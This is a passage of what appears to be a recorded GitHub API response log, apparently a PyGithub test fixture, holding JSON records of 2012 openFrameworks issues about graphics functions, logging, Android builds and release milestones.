Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=5 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '39838'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a7bfe812cbaa85fbb708d70f4d883fac"'), ('date', 'Tue, 29 May 2012 19:27:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-25T01:36:58Z","body":"Dummy issue to ensure that the 0080 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/970","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"closed_issues":0,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":970,"html_url":"https://github.com/openframeworks/openFrameworks/issues/970","assignee":null,"title":"0080 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:54Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:36:37Z","body":"Dummy issue to ensure that the 0074 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/969","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/7","number":7,"closed_issues":0,"title":"0074 Release","due_on":"2012-08-27T07:00:00Z","open_issues":1,"created_at":"2012-02-25T00:41:17Z","state":"open","description":"","id":88728},"number":969,"html_url":"https://github.com/openframeworks/openFrameworks/issues/969","assignee":null,"title":"0074 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381977,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-24T04:31:01Z","body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","comments":0,"milestone":null,"number":955,"html_url":"https://github.com/openframeworks/openFrameworks/issues/955","assignee":null,"title":"ofBackgroundGradient needs to be billboarded","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-24T04:31:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3367910,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T19:12:08Z","body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","comments":4,"milestone":null,"number":933,"html_url":"https://github.com/openframeworks/openFrameworks/issues/933","assignee":null,"title":"Problem with moviePlayerExample under linux64","labels":[],"closed_at":null,"created_at":"2012-02-23T15:46:06Z","state":"open","user":{"url":"https://api.github.com/users/agrosjea","avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e52c167621119d58d03c586bb053a633","login":"agrosjea","id":1466085},"id":3357855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:13:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","comments":0,"milestone":null,"number":931,"html_url":"https://github.com/openframeworks/openFrameworks/issues/931","assignee":null,"title":"ofCamera is not aware of ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-23T05:13:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:12:47Z","body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","comments":0,"milestone":null,"number":930,"html_url":"https://github.com/openframeworks/openFrameworks/issues/930","assignee":null,"title":"ofSetupPerspective ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-23T05:12:47Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351643,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T04:19:48Z","body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","comments":0,"milestone":null,"number":929,"html_url":"https://github.com/openframeworks/openFrameworks/issues/929","assignee":null,"title":"ofGetLogLevel should also accept modules","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-23T04:19:48Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351374,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T03:46:32Z","body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","comments":0,"milestone":null,"number":928,"html_url":"https://github.com/openframeworks/openFrameworks/issues/928","assignee":null,"title":"no ofGetBackground()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-23T03:46:32Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351170,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T19:12:56Z","body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","comments":0,"milestone":null,"number":926,"html_url":"https://github.com/openframeworks/openFrameworks/issues/926","assignee":null,"title":"ofGetViewportWidth/Height returns 0 at startup","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-22T19:12:56Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3341020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T00:28:08Z","body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","comments":0,"milestone":null,"number":925,"html_url":"https://github.com/openframeworks/openFrameworks/issues/925","assignee":null,"title":"ofImage has type as int, public vars, & missing getBPP, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-22T00:28:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3324501,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:41:17Z","body":"As requested in https://github.com/openframeworks/openFrameworks/pull/794 I've branched openframeworks:develop into my own branch and applied the fixes required to build openFrameworks for Android with MinGW on the windows platform.\r\n\r\nThe instructions on how to compile are still valid (except for the part of patching):\r\nhttp://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n\r\nNote 1: You will need to run:\r\nandroid.bat update project --target android-8 --path C:\\openFrameworks\\addons\\ofxAndroid\\ofAndroidLib\r\n\r\nThis updates the project files for ofAndroidLib project. I didn't included those because those are user specific (they contain the path to the sdk)\r\n\r\nNote 2: d3ddf8e1 \r\nI only added this commit in order to make the examples build properly. Someone still needs to fix the proper implementation.\r\n\r\nNote 3: 7a9cf0ba\r\nWhile working on NodeBeat, we found out that not all devices are using /mnt/sdcard as their external storage location. In some cases the sdcard is located somewhere else (\"Environment.getExternalStorageDirectory()\" doesnt always return the correct location). This commit fixes this problem by checking several locations as reported on multiple Stackoverflow threads. More info about this issue can be found in the commit description.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/922","comments":13,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":922,"html_url":"https://github.com/openframeworks/openFrameworks/issues/922","assignee":null,"title":"Windows compatibility patches and External storage location fixes.","labels":[],"closed_at":null,"created_at":"2012-02-19T23:30:24Z","state":"open","user":{"url":"https://api.github.com/users/falcon4ever","avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","login":"falcon4ever","id":480019},"id":3288053,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/922.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/922","patch_url":"https://github.com/openframeworks/openFrameworks/pull/922.patch"}},{"updated_at":"2012-02-16T09:39:46Z","body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","comments":0,"milestone":null,"number":920,"html_url":"https://github.com/openframeworks/openFrameworks/issues/920","assignee":null,"title":"Transform stack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-16T09:39:46Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248309,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-16T09:31:24Z","body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","comments":0,"milestone":null,"number":919,"html_url":"https://github.com/openframeworks/openFrameworks/issues/919","assignee":null,"title":"Error in ofNode::transformGL","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-16T09:31:24Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248230,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-08T10:15:31Z","body":"vs2010 does not include stdint.h support:\r\n\r\nhttp://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\r\n\r\nwhich causes addon bugs like this:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/559\r\nhttps://github.com/kylemcdonald/ofxCv/issues/28\r\n\r\neven though these bugs aren't in the core, i think OF is designed to make it easy for people to write cross-platform, cross-compiler code. so i propose that we add an explicit declaration of the missing types for vs2010.\r\n\r\nthis isn't really something i'm worried about directly since i don't use vs2010, but i know people like elliot do. and it would be cleaner to add it once to the core than to add it once for every addon that is broken.\r\n\r\nthe solution would probably look like: take dan's code from the above issue, and move it from ofxOsc into the core.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/917","comments":5,"milestone":null,"number":917,"html_url":"https://github.com/openframeworks/openFrameworks/issues/917","assignee":null,"title":"add global stdint.h support?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2012-02-15T02:38:17Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3229504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:55:20Z","body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","comments":1,"milestone":null,"number":916,"html_url":"https://github.com/openframeworks/openFrameworks/issues/916","assignee":null,"title":"ofGetMouseX() and ofGetMouseY() should return 